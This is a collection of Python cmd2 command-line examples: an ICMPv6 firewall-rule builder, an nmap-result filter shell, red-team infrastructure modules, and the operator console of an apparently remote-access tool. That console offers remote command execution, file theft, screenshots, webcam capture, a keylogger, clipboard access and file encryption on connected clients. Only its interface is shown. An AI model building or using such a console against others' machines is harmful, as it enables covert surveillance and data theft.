                        ['Time Exceeded', 3], ['Parameter Problem', 4],
                        ['Echo Request', 128], ['Echo Reply', 129],
                        ['Router Solicitation', 133],
                        ['Router Advertisement', 134],
                        ['Neighbor Solicitation', 135],
                        ['Neighbor Advertisement', 136], ['Redirect', 137]]
                print(
                    "Use one of the specified values below, for ICMPv6 type\n")
                print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))
                icmpv6_type = None
                while icmpv6_type is None:
                    try:
                        icmpv6_type = int(input('Type: '))
                        if icmpv6_type not in [
                                item for sublist in data for item in sublist
                        ]:
                            icmpv6_type = None
                            print(
                                "Type needs to be one of the valid types shown in the above table."
                            )
                    except ValueError:
                        icmpv6_type = None
                        print("You need to enter a numerical value.\n")
                new_rule['icmpv6_type'] = icmpv6_type

            # CODE
            if self._get_binary_input("\nSpecify an ICMPv6 code?"):
                icmpv6_code = None
                while icmpv6_code is None:
                    try:
                        icmpv6_code = int(input('Code: '))
                    except ValueError:
                        icmpv6_code = None
                        print("You need to enter a numerical value.\n")
                new_rule['icmpv6_code'] = icmpv6_code

        # Finally, return the new rule (as a dict)
        return new_rule

    # ============================= #
    # Sort CLI commands by category #
    # ============================= #
    categorize(do_connect, CMD_CATEGORY_CONNECTION)
    categorize(do_disconnect, CMD_CATEGORY_CONNECTION)
    categorize(do_query, CMD_CATEGORY_DATABASE)
    categorize(do_monitor, CMD_CATEGORY_MONITOR)
    categorize(do_rule, CMD_CATEGORY_RULES)
Esempio n. 6
0
class UserInterface(cmd2.Cmd):
    exit_parser = argparse.ArgumentParser(prog="exit")

    list_parser = argparse.ArgumentParser(prog="list")
    list_parser.add_argument("-s",
                             "--sessions",
                             nargs="+",
                             required=True,
                             help="sessions indices or groups")

    tag_parser = argparse.ArgumentParser(prog="tag")
    tag_parser.add_argument("-t",
                            "--tag",
                            required=True,
                            type=str,
                            help="value to change the tag to")
    tag_parser.add_argument("-s",
                            "--sessions",
                            nargs="+",
                            required=True,
                            help="sessions indices or groups")

    close_parser = argparse.ArgumentParser(prog="close")
    close_parser.add_argument("-s",
                              "--sessions",
                              nargs="+",
                              required=True,
                              help="sessions indices or groups")

    group_parser = argparse.ArgumentParser(prog="group")
    mode_group = group_parser.add_mutually_exclusive_group(required=True)
    mode_group.add_argument("-a",
                            "--add",
                            nargs="+",
                            help="sessions to add to groups",
                            default=[])
    mode_group.add_argument("-r",
                            "--rm",
                            nargs="+",
                            help="sessions to rm from groups",
                            default=[])
    group_parser.add_argument("-g",
                              "--groups",
                              nargs="+",
                              required=True,
                              help="groups to add/rm the sessions to/from")

    exe_parser = argparse.ArgumentParser(prog="exe")
    exe_parser.add_argument("-e",
                            "--exe",
                            required=True,
                            type=str,
                            help="command to execute")
    exe_parser.add_argument("-s",
                            "--sessions",
                            nargs="+",
                            required=True,
                            help="sessions indices or groups")

    down_parser = argparse.ArgumentParser(prog="down")
    down_parser.add_argument("-r",
                             "--read",
                             required=True,
                             type=str,
                             help="file to read data from")
    down_parser.add_argument("-w",
                             "--write",
                             required=True,
                             type=str,
                             help="file to write data to")
    down_parser.add_argument("-s",
                             "--sessions",
                             nargs="+",
                             required=True,
                             help="sessions indices or groups")

    up_parser = argparse.ArgumentParser(prog="up")
    up_parser.add_argument("-r",
                           "--read",
                           required=True,
                           type=str,
                           help="file to read data from")
    up_parser.add_argument("-w",
                           "--write",
                           required=True,
                           type=str,
                           help="file to write data to")
    up_parser.add_argument("-s",
                           "--sessions",
                           nargs="+",
                           required=True,
                           help="sessions indices or groups")

    screen_parser = argparse.ArgumentParser(prog="screen")
    screen_parser.add_argument("-m",
                               "--monitor",
                               default=-1,
                               type=int,
                               choices=range(-1, 6),
                               help="monitor to capture (-1 for all)")
    screen_parser.add_argument("-w",
                               "--write",
                               required=True,
                               type=str,
                               help="file to write the picture in")
    screen_parser.add_argument("-s",
                               "--sessions",
                               nargs="+",
                               required=True,
                               help="sessions indices or groups")

    zip_parser = argparse.ArgumentParser(prog="zip")
    zip_parser.add_argument("-c",
                            "--compression",
                            default=1,
                            type=int,
                            help="zip compression level",
                            choices=range(10))
    zip_parser.add_argument("-r",
                            "--read",
                            required=True,
                            type=str,
                            help="file or folder to read")
    zip_parser.add_argument("-w",
                            "--write",
                            required=True,
                            type=str,
                            help="file to write the zipfile in")
    zip_parser.add_argument("-s",
                            "--sessions",
                            nargs="+",
                            required=True,
                            help="sessions indices or groups")

    cam_parser = argparse.ArgumentParser(prog="cam")
    cam_parser.add_argument("-p",
                            "--port",
                            required=True,
                            type=int,
                            help="camera port (usually 0)")
    cam_parser.add_argument("-w",
                            "--write",
                            required=True,
                            type=str,
                            help="file to write the image in")
    cam_parser.add_argument("-s",
                            "--sessions",
                            nargs="+",
                            required=True,
                            help="sessions indices or groups")

    log_keys_parser = argparse.ArgumentParser(prog="logger")
    log_keys_parser.add_argument("-a",
                                 "--action",
                                 required=True,
                                 type=str,
                                 choices=["start", "stop", "status"])
    log_keys_parser.add_argument("-f",
                                 "--file",
                                 default="log.txt",
                                 type=str,
                                 help="file to store logs in")
    log_keys_parser.add_argument("-s",
                                 "--sessions",
                                 required=True,
                                 nargs="+",
                                 help="sessions indices or groups")

    clip_parser = argparse.ArgumentParser(prog="clip")
    clip_parser.add_argument("-c",
                             "--content",
                             default="",
                             type=str,
                             help="content to store to clipboard if provided")
    clip_parser.add_argument("-s",
                             "--sessions",
                             required=True,
                             nargs="+",
                             help="sessions indices or groups")

    block_parser = argparse.ArgumentParser(prog="block")
    block_parser.add_argument("-a",
                              "--action",
                              required=True,
                              type=str,
                              choices=["add", "rm", "list"])
    block_parser.add_argument("-i",
                              "--ips",
                              nargs="+",
                              type=str,
                              help="addresses to block")
    block_parser.add_argument(
        "-c",
        "--close",
        action="store_true",
        help="closing sessions from blocked ips which are already established")

    crypt_parser = argparse.ArgumentParser(prog="crypt")
    crypt_parser.add_argument("-a",
                              "--action",
                              required=True,
                              type=str,
                              choices=["enc", "dec"])
    crypt_parser.add_argument("-r",
                              "--read",
                              required=True,
                              type=str,
                              help="file or folder to read")
    crypt_parser.add_argument("-p",
                              "--pwd",
                              required=True,
                              type=str,
                              help="password to use")
    crypt_parser.add_argument("-s",
                              "--sessions",
                              required=True,
                              nargs="+",
                              help="sessions indices or groups")

    speak_parser = argparse.ArgumentParser(prog="speak")
    speak_parser.add_argument("-m",
                              "--message",
                              default="",
                              type=str,
                              help="message to read out")
    speak_parser.add_argument("-s",
                              "--sessions",
                              required=True,
                              nargs="+",
                              help="sessions indices or groups")

    def __init__(self, server):
        super().__init__()
        self.server = server
        self.prompt = "[+] "

        # setting options
        self.cmd_timeout = 15
        self.zip_comp = 1
        self.sock_timeout = 20
        self.accept_new = True
        # adding some settings
        self.add_settable(
            cmd2.Settable("cmd_timeout",
                          int,
                          "clientside timeout before returning from a command",
                          choices=range(3600)))
        self.add_settable(
            cmd2.Settable("zip_comp",
                          int,
                          "compression level when creating zip file",
                          choices=range(1, 10)))
        self.add_settable(
            cmd2.Settable("sock_timeout",
                          int,
                          "serverside timeout for receiving and sending data",
                          choices=range(3600)))
        self.add_settable(
            cmd2.Settable("accept_new", bool,
                          "accept new incoming connections"))
        # delete some builtins
        del cmd2.Cmd.do_py
        del cmd2.Cmd.do_run_pyscript
        del cmd2.Cmd.do_run_script
        del cmd2.Cmd.do_quit
        del cmd2.Cmd.do_shortcuts
        del cmd2.Cmd.do_alias
        del cmd2.Cmd.do_macro

    def poutput(self, msg="", *, end: str = '\n'):
        super().poutput(msg)

    def pinfo(self, msg=""):
        super().poutput(f"[*] {msg}")

    def perror(self, msg="", *, end: str = "\n", apply_style: bool = True):
        super().perror(f"[-] {msg}")

    @cmd2.decorators.with_argparser(list_parser)
    def do_list(self, args):
        """List connected sessions"""
        self.server.list_sessions(
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(exit_parser)
    def do_exit(self, _):
        """Exit server and close socket (not closing sessions)"""
        self.server.exit_server()
        return True

    @cmd2.decorators.with_argparser(tag_parser)
    def do_tag(self, args):
        """Edit sessions tag"""
        self.server.edit_tag(
            self.server.connection.get_conn_fgoi(args.sessions), args.tag)

    @cmd2.decorators.with_argparser(close_parser)
    def do_close(self, args):
        """Close and remove session"""
        self.server.close_session(
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(group_parser)
    def do_group(self, args):
        """Edit sessions groups memberships"""
        self.server.edit_group(self.server.connection.get_conn_fgoi(args.add),
                               self.server.connection.get_conn_fgoi(args.rm),
                               args.groups)

    @cmd2.decorators.with_argparser(exe_parser)
    def do_exe(self, args):
        """Remote execute terminal command"""
        self.server.execute_command(
            args.exe, self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(down_parser)
    def do_down(self, args):
        """Download file from client"""
        self.server.download_file(
            args.read, args.write,
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(up_parser)
    def do_up(self, args):
        """Upload file to client"""
        self.server.upload_file(
            args.read, args.write,
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(screen_parser)
    def do_screen(self, args):
        """Capture screen image"""
        self.server.make_screenshot(
            args.monitor, args.write,
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(zip_parser)
    def do_zip(self, args):
        """Compress to zip archive"""
        self.server.zip_file_or_folder(
            args.compression_level, args.read, args.write,
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(cam_parser)
    def do_cam(self, args):
        """Capture camera image"""
        self.server.capture_camera_picture(
            args.port, args.write,
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(log_keys_parser)
    def do_logger(self, args):
        """Start/Stop keylogger"""
        self.server.log_keys(
            args.action, args.file,
            self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(clip_parser)
    def do_clip(self, args):
        """Get/Set clipboard content"""
        self.server.edit_clipboard(
            args.content, self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(block_parser)
    def do_block(self, args):
        """Block a client by ip"""
        self.server.block_address(args.action, args.ips, args.close)

    @cmd2.decorators.with_argparser(crypt_parser)
    def do_crypt(self, args):
        """En/decrypt a file or directory with password"""
        self.server.crypt(args.action, args.read, args.pwd,
                          self.server.connection.get_conn_fgoi(args.sessions))

    @cmd2.decorators.with_argparser(speak_parser)
    def do_speak(self, args):
        """Read a given text out loud"""
        self.server.speak(args.message,
                          self.server.connection.get_conn_fgoi(args.sessions))

    # categorize the functions
    cmd2.categorize((do_list, do_exit, do_tag, do_close, do_group, do_block,
                     cmd2.Cmd.do_edit, cmd2.Cmd.do_help, cmd2.Cmd.do_history,
                     cmd2.Cmd.do_set, cmd2.Cmd.do_shell),
                    "Executed on the server")
    cmd2.categorize((do_exe, do_down, do_up, do_screen, do_zip, do_cam,
                     do_logger, do_clip, do_crypt, do_speak),
                    "Executed on the client")
Esempio n. 7
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for webserver module"""
    # The mod dictionary for the mail module
    mod = {}
    domains = []
    available_regions_list = []
    providers_list = []

    def __init__(self):
        super().__init__()

        global campaign_list
        global modules_ids
        global module
        global domain_name

        # Hide the Quit funcitionality
        hide_cmd2_modules(self)

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)
                self.mod = config["mod_mail"]
                self.providers_list = config["providers_list"]
                self.module_provider_parser.choices = self.providers_list

                for prov in self.providers_list:
                    if self.mod["provider"] == prov:
                        self.available_regions_list = config[prov]["regions"]
                        self.module_regions_parser.choices = self.available_regions_list
                        self.size_list = config[prov]["size"]
                        self.module_size_parser.choices = self.size_list

        else:
            print("The config/config.json file does not exists! Exiting...")
            return True

        # Check if the editmodule functionality was used
        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()

        # Create list with modules id
        for c in campaign_list:
            if c["module"] != "dns_record" and c[
                    "module"] != "letsencrypt" and c["module"] != "mail" and c[
                        "module"] != "redirector" and c[
                            "module"] != "godaddy" and c["module"] != "ansible":
                modules_ids.insert(len(modules_ids), (c["id"]))
                for i in range(c["redirectors"]):
                    modules_ids.insert(
                        len(modules_ids),
                        (c["id"] + "-" + str(i + 1) + "/" + c["module"]))

        self.domains = domain_names
        self.domanin_name_parser.choices = domain_names
        self.allowed_ips_parser.choices = modules_ids

    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    def do_info(self, mod):
        """Prints variable table for this module"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/" + mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", "Module ID"])
            x.add_row([
                "domain_name", mod["domain_name"], "yes", "Domain Name to use"
            ])
            x.add_row(
                ["subdomain", mod["subdomain"], "yes", "Subdomain to use"])
            x.add_row([
                "allowed_ips", mod["allowed_ips"], "yes",
                "IPs which are allowed to connect to relay emails"
            ])
            x.add_row(
                ["provider", mod["provider"], "yes", "Provider to be used "])
            x.add_row([
                "region", mod["region"], "yes", "Regions to create Droplet in."
            ])
            x.add_row(["size", mod["size"], "no", "Droplet size to launch."])
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'Mail module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "yes", "Module ID"])
            x.add_row([
                "domain_name", self.mod["domain_name"], "yes",
                "Domain Name to use"
            ])
            x.add_row([
                "subdomain", self.mod["subdomain"], "yes", "Subdomain to use"
            ])
            x.add_row([
                "allowed_ips", self.mod["allowed_ips"], "yes",
                "IPs which are allowed to connect to relay emails"
            ])
            x.add_row([
                "provider", self.mod["provider"], "yes", "Provider to be used "
            ])
            x.add_row([
                "region", self.mod["region"], "yes",
                "Regions to create Droplet in."
            ])
            x.add_row(
                ["size", self.mod["size"], "no", "Droplet size to launch."])
            x.align["DESCRITPION"] = "l"
        print(x)

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(title='set-commands',
                                               help='set-command help')

    # create the parser for the "region" sub-command
    parser_region = set_subparsers.add_parser(
        'region',
        help=
        'Regions to create Droplet(s) in. Defaults to LON1. Accepted values are NYC1/2/3, SFO1/2, AMS1/2, SGP1, LON1, FRA1, TOR1, BLR1.'
    )
    module_regions_parser = parser_region.add_argument(
        'region',
        choices=available_regions_list,
        type=str,
        help='example : [ set region <AMS1> ]')

    # create the parser for the "size" sub-command
    parser_size = set_subparsers.add_parser('size',
                                            help='Size of the droplet.')
    module_size_parser = parser_size.add_argument(
        'size', type=str, help='example: [ set size <s-1vcpu-1gb>] ')

    # create the parser for the "provider" sub-command
    parser_provider = set_subparsers.add_parser('provider',
                                                help='Provider to be used ')
    module_provider_parser = parser_provider.add_argument(
        'provider',
        choices=providers_list,
        type=str,
        help='example : [set provider <digitalocean> ]')

    # create the parser for the "domain name" sub-command
    parser_domain_name = set_subparsers.add_parser('domain_name',
                                                   help='The Domain Name')
    domanin_name_parser = parser_domain_name.add_argument(
        'domain_name',
        choices=domains,
        type=str,
        help='example : [ set domain_name <example.com> ]')

    # create the parser for the "subdomain" sub-command
    parser_subdomain = set_subparsers.add_parser(
        'subdomain', help='The Subdomain for the mail server')
    parser_subdomain.add_argument('subdomain',
                                  type=str,
                                  help='example : [ set subdomain <mail> ]')

    # create the parser for the "allowed_ips" sub-command
    parser_allowed_ips = set_subparsers.add_parser(
        'allowed_ips', help='IPs which are allowed to connect to relay emails')
    allowed_ips_parser = parser_allowed_ips.add_argument(
        '-m',
        "--modules",
        nargs="+",
        type=str,
        help='example : [ set allowed_ips <IP> ]')  #
    parser_allowed_ips.add_argument(
        '-c',
        '--custom',
        type=str,
        nargs="+",
        help='Custom IP example : [ set allowed_ips <IP> ]')  #

    def set_region(self, arg):
        """Sets the region variable"""
        self.mod["region"] = arg.region
        # Change provider for all modules on AWS
        if self.mod["provider"] == "aws":
            notification = cmd2.ansi.style("***",
                                           fg=Fg.RED,
                                           bg=None,
                                           bold=True,
                                           underline=False)
            print(
                f"""\n{notification} Only one region is supported per project on AWS. {notification}\n"""
            )
            global campaign_list
            for c in campaign_list:
                if c["provider"] == "aws":
                    if c["region"] != arg.region:
                        print(
                            cmd2.ansi.style(
                                f"""Module with {c["id"]} has region set to {c["region"]}. Replacing...""",
                                fg=Fg.RED,
                                bg=None,
                                bold=True,
                                underline=False))
                        c["region"] = arg.region

    def set_size(self, arg):
        """Sets the size variable"""
        self.mod["size"] = arg.size

    def set_provider(self, arg):
        """Sets the provider variable"""
        self.mod["provider"] = arg.provider

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)

                for prov in self.providers_list:
                    if self.mod["provider"] == prov:
                        self.available_regions_list = config[prov]["regions"]
                        self.module_regions_parser.choices = self.available_regions_list
                        self.size_list = config[prov]["size"]
                        self.module_size_parser.choices = self.size_list
                        self.mod["region"] = config[prov]["default_region"]
                        self.mod["size"] = config[prov]["default_size"]

    def set_domain_name(self, arg):
        """Sets the domain_name variable"""
        self.mod["domain_name"] = arg.domain_name

    def set_subdomain(self, arg):
        """Sets the subdomain variable"""
        self.mod["subdomain"] = arg.subdomain

    def set_allowed_ips(self, arg):
        """Sets the allowed_ips variable"""
        self.mod["allowed_ips"] = []
        if arg.custom is not None:
            for c in arg.custom:
                self.mod["allowed_ips"].insert(len(self.mod["allowed_ips"]), c)
        if arg.modules is not None:
            for m in arg.modules:
                self.mod["allowed_ips"].insert(len(self.mod["allowed_ips"]),
                                               m.split('/')[0])

    #Set handler functions for the sub-commands
    parser_size.set_defaults(func=set_size)
    parser_region.set_defaults(func=set_region)
    parser_provider.set_defaults(func=set_provider)
    parser_domain_name.set_defaults(func=set_domain_name)
    parser_subdomain.set_defaults(func=set_subdomain)
    parser_allowed_ips.set_defaults(func=set_allowed_ips)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the mail module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self, args):
        """Adds mail module to the project """
        if not self.mod["domain_name"]:
            print("Variable domain_name can not be None")
        elif not self.mod["allowed_ips"]:
            print("Variable allowed_ips can not be None")
        else:
            global module
            module = self.mod
            return True

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE = 'Module  (type help <command>)'

    cmd2.categorize((do_add, do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 8
0
class TerminalBase(cmd2.Cmd):
    CMD_CAT_FILTER = "Configure Filters"

    service_filter = ''
    port_filter = ''
    host_filter = ''
    include_ports = True
    have_ports = True
    only_alive = True
    verbose = True
    raw = False

    have_ports_changed = False

    nmapOutput = None

    userOptions = [
        [
            constants.OPT_SERVICE_FILTER, "string", "",
            "Comma seperated list of services to show, e.g. \"http,ntp\""
        ],
        [
            constants.OPT_PORT_FILTER, "string", "",
            "Comma seperated list of ports to show, e.g. \"80,123\""
        ],
        [
            constants.OPT_HOST_FILTER, "string", "",
            "Comma seperated list of hosts to show, e.g. \"127.0.0.1,127.0.0.2\""
        ],
        [
            constants.OPT_ALIVE, "bool", "True",
            "When enabled, any hosts which were down will be excluded from output  [ True / False ]"
        ],
        [
            constants.OPT_HAVE_PORTS, "bool", "True",
            "When enabled, hosts with no open ports are excluded from output  [ True / False ]"
        ],
        [
            constants.OPT_INCLUDE_PORTS, "bool", "True",
            "Toggles whether ports are included in 'list/services' output  [ True / False ]"
        ],
        [
            constants.OPT_VERBOSE, "bool", "True",
            "Shows verbose service information  [ True / False ]"
        ],
        [
            constants.OPT_RAW, "bool", "False",
            "Shows raw output (no headings)  [ True / False ]"
        ]
    ]

    userOptionChanged = {
        constants.OPT_SERVICE_FILTER: False,
        constants.OPT_PORT_FILTER: False,
        constants.OPT_HOST_FILTER: False,
        constants.OPT_HAVE_PORTS: False,
        constants.OPT_ALIVE: False,
        constants.OPT_INCLUDE_PORTS: False,
        constants.OPT_VERBOSE: False,
        constants.OPT_RAW: False
    }

    allow_cli_args = False

    cmd2.categorize(cmd2.Cmd.do_set, CMD_CAT_FILTER)

    def __init__(self, *args, **kwargs):
        self.setupUserOptions()
        super().__init__(*args, **kwargs)
        self.register_postcmd_hook(self.postCmdHook)

    # Use this to check if the set command was used and do our own internal logic
    # in addition to cmd2's logic
    def postCmdHook(
            self,
            data: cmd2.plugin.PostcommandData) -> cmd2.plugin.PostcommandData:
        if data.statement.command == 'set' and len(
                data.statement.args.split()) == 2:
            tmpOption = data.statement.args.split()[0]
            tmpValue = data.statement.args.split()[1]
            for option in self.userOptions:
                if (tmpOption.lower() == option[0]):
                    self.setOption(option[0], tmpValue)
                    break
        return data

    def setupUserOptions(self):
        for userOption in self.userOptions:
            self.settable[userOption[0]] = userOption[3]

    def do_exit(self, inp):
        '''Exit the interactive prompt'''
        print("Bye")
        return True

    @cmd2.with_category(CMD_CAT_FILTER)
    def do_unset_all(self, inp):
        '''"unset_all" will reset all user options to default values'''
        consoleOutput = TextOutput()
        for option in [option[0] for option in self.userOptions]:
            if (self.unsetOption(option)):
                consoleOutput.addHumn("Unset [" + option + "] ==> " +
                                      str(self.getOption(option)))
            else:
                consoleOutput.addErrr("Failed to unset [%s]" % option)
        self.printTextOutput(consoleOutput)

    @cmd2.with_category(CMD_CAT_FILTER)
    def do_unset(self, inp):
        '''"unset [option]" will unset the specified user option'''
        splitText = inp.split()
        if (len(splitText) != 1):
            print("Invalid use of unset command")
        else:
            success = self.unsetOption(splitText[0].lower())
            if (success):
                print("Unset [" + splitText[0].lower() + "] ==> ''")

    def complete_show(self, text, line, begidx, endidx):
        return ['options']

    @cmd2.with_category(CMD_CAT_FILTER)
    def do_show(self, inp):
        '''"show options" will list current user options'''
        self.syncOptions()
        if (inp.lower() == 'options'):
            self.poutput('')
            self.poutput(
                tabulate.tabulate(
                    self.userOptions,
                    headers=['Setting', "Type", 'Value', 'Description'],
                    tablefmt="github"))
            self.poutput('')
        else:
            self.poutput('"show options" will list current user options')

    def complete_set(self, text, line, begidx, endidx):
        # remove 'set' from first array slot
        splitText = line.split()[1:]
        if (line.strip() == 'set'):
            return [option for option in self.settable]
        if (len(splitText) == 1):
            return [
                option for option in self.settable
                if option.startswith(splitText[0].lower())
                and not (option == splitText[0].lower())
            ]
        if (len(splitText) == 2):
            if splitText[0] == constants.OPT_SERVICE_FILTER:
                # need to split this value on comma incase user specified more than one service
                # then use last split. Also remove quotes
                tmpText = splitText[1].replace("\"", "")
                tmpServices = tmpText.split(',')
                curService = tmpServices[-1:][0]
                prefix = ''
                if len(tmpServices) > 1:
                    prefix = ','.join(tmpServices[:-1]) + ','
                return self.tryMatchService(curService, prefix)
            elif splitText[0] == constants.OPT_HOST_FILTER:
                # need to split this value on comma incase user specified more than one IP
                # then use last split. Also remove quotes
                tmpText = splitText[1].replace("\"", "")
                tmpHosts = tmpText.split(',')
                curHost = tmpHosts[-1:][0]
                prefix = ''
                if len(tmpHosts) > 1:
                    prefix = ','.join(tmpHosts[:-1]) + ','
                return [(prefix + ip) for ip in self.nmapOutput.Hosts
                        if curHost in ip]
        return [text]

    def unsetOption(self, option):
        if (option == constants.OPT_HAVE_PORTS):
            self.have_ports = True
        elif (option == constants.OPT_HOST_FILTER):
            self.host_filter = ''
        elif (option == constants.OPT_PORT_FILTER):
            self.port_filter = ''
        elif (option == constants.OPT_RAW):
            self.raw = False
        elif (option == constants.OPT_SERVICE_FILTER):
            self.service_filter = ''
        elif (option == constants.OPT_VERBOSE):
            self.verbose = True
        elif (option == constants.OPT_INCLUDE_PORTS):
            self.include_ports = True
        elif (option == constants.OPT_ALIVE):
            self.alive = True
        else:
            return False
        return True

    def perror(self, message):
        super(TerminalBase, self).perror(message, traceback_war=False)

    def setOption(self, specifiedOption, value):
        for option in self.userOptions:
            if option[0] == specifiedOption.lower():
                self.userOptionChanged[option[0]] = True
                if (option[1] == "bool"):
                    self.setBoolOption(option, specifiedOption, value)
                elif (option[0] == constants.OPT_HOST_FILTER):
                    self.setHostFilter(option, value.replace('"', ''))
                else:
                    option[2] = value.replace('"', '')

    def setHostFilter(self, option, userFilter):
        tmpHostFilter = helpers.stringToHostFilter(userFilter.replace('"', ''))
        filterString = ','.join([filter.filter for filter in tmpHostFilter])
        option[2] = filterString
        self.host_filter = filterString

    def setBoolOption(self, cmdOption, userOption, value):
        tmpValue = value.lower().strip()
        result = (tmpValue in constants.TRUE_STRINGS)
        cmdOption[2] = str(result)
        if (cmdOption[0] == constants.OPT_RAW):
            settings.printHumanFriendlyText = not result

    def getOptionBool(self, specifiedOption):
        return "True" == self.getOption(specifiedOption)

    def syncOptions(self):
        for option in self.userOptions:
            if (option[0] == constants.OPT_HAVE_PORTS):
                option[2] = self.have_ports
            elif (option[0] == constants.OPT_HOST_FILTER):
                option[2] = self.host_filter
            elif (option[0] == constants.OPT_PORT_FILTER):
                option[2] = self.port_filter
            elif (option[0] == constants.OPT_RAW):
                option[2] = self.raw
            elif (option[0] == constants.OPT_SERVICE_FILTER):
                option[2] = self.service_filter
            elif (option[0] == constants.OPT_VERBOSE):
                option[2] = self.verbose
            elif (option[0] == constants.OPT_INCLUDE_PORTS):
                option[2] = self.include_ports
            elif (option[0] == constants.OPT_ALIVE):
                option[2] = self.only_alive

    def getOption(self, specifiedOption):
        for option in self.userOptions:
            if (option[0] == specifiedOption.lower()):
                return option[2]

    def getPortFilter(self):
        portFilter = []
        rawPortFilterString = self.port_filter
        # Check only contains valid chars
        if (re.match(r'^([\d\s,]+)$', rawPortFilterString)):
            # Remove any excess white space (start/end/between commas)
            curPortFilterString = re.sub(r'[^\d,]', '', rawPortFilterString)
            # Split filter on comma, ignore empty entries and assign to filter
            portFilter = [
                int(port) for port in curPortFilterString.split(',')
                if len(port) > 0
            ]
        return portFilter

    def getHostFilter(self):
        return helpers.stringToHostFilter(self.host_filter)

    def getServiceFilter(self):
        return [
            option for option in self.service_filter.split(',')
            if len(option.strip()) > 0
        ]

    def getFilters(self):
        filters = nmap.NmapFilters()
        filters.services = self.getServiceFilter()
        filters.ports = self.getPortFilter()
        filters.hosts = self.getHostFilter()
        filters.onlyAlive = self.only_alive
        filters.mustHavePorts = self.have_ports
        return filters

    def printTextOutput(self, textOutput):
        for line in textOutput.entries:
            if (line.output == constants.TEXT_NORMAL):
                self.poutput(line.getText())
            elif (line.output == constants.TEXT_ERROR):
                self.perror(line.getText())
            elif (not self.quiet) and (
                    not self.redirecting) and settings.printHumanFriendlyText:
                if (line.output == constants.TEXT_FRIENDLY):
                    self.pfeedback(line.getText())
                elif (line.output == constants.TEXT_SUCCESS):
                    self.pfeedback(line.getText())
                else:
                    self.poutput(line.getText())

    def tryMatchService(self, text, prefix):
        matches = []
        try:
            serviceFiles = [
                '/usr/share/nmap/nmap-services', '/etc/services',
                'C:\\windows\\system32\\drivers\\etc\\services'
            ]
            for serviceFile in serviceFiles:
                if (os.path.isfile(serviceFile)):
                    fhServices = open(serviceFile, 'r')
                    tmpRegex = '(' + text + r'\S*)\s+\d+/(?:tcp|udp)'
                    reg = re.compile(tmpRegex)
                    for line in fhServices:
                        matches += [
                            match for match in reg.findall(line)
                            if match not in matches
                        ]
                    fhServices.close()
                    break
        except:
            raise
        return [(prefix + match) for match in matches]

    def splitInput(self, line, curCmd):
        splitInput = []
        try:
            splitInput = [
                option for option in shlex.split(line[line.index(curCmd) +
                                                      len(curCmd):].strip(),
                                                 posix=False)
            ]
        except ValueError:
            # Append quote to string to prevent exception
            splitInput = [
                option for option in shlex.split((
                    line[line.index(curCmd) + len(curCmd):] + '"').strip(),
                                                 posix=False)
            ]
        return splitInput
Esempio n. 9
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for letsencrypt module"""
    # The mod dictionary for the letsencrypt module
    mod = {}

    domain_names = []
    record_list = []

    def __init__(self):
        super().__init__()
        hide_cmd2_modules(self)
        global campaign_list
        global module

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)
                self.mod = config["mod_letsencrypt"]
        else:
            print("The config/config.json file does not exists! Exiting...")
            return True

        # Check if the editmodule functionality was used
        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()

        # TODO add functionality for wirldcard certificates:
        # https://medium.com/@saurabh6790/generate-wildcard-ssl-certificate-using-lets-encrypt-certbot-273e432794d7

        self.domain_list = []
        self.record_list = []
        for c in campaign_list:
            if c["module"] == "dns_record" and c["type"] == "A":
                if c["name"] == "@" or c["name"] == "":
                    self.record_list.append(c["records"])
                    for k in c["records"].keys():
                        self.domain_list.append(k)
                else:
                    rec = dict(c["records"])
                    for k in c["records"].keys():
                        self.domain_list.append(c["name"] + "." + k)
                    rec[c["name"] + "." + k] = rec.pop(k)
                    self.record_list.append(rec)

        self.domain_names = self.domain_list
        self.domain_name_parser.choices = self.domain_list

    def do_info(self, mod):
        """Prints variable table"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/" + mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", "Module ID"])
            x.add_row([
                "domain_name", mod["domain_name"], "yes",
                "The domain name for the certificate"
            ])
            x.add_row([
                "email", mod["email"], "yes",
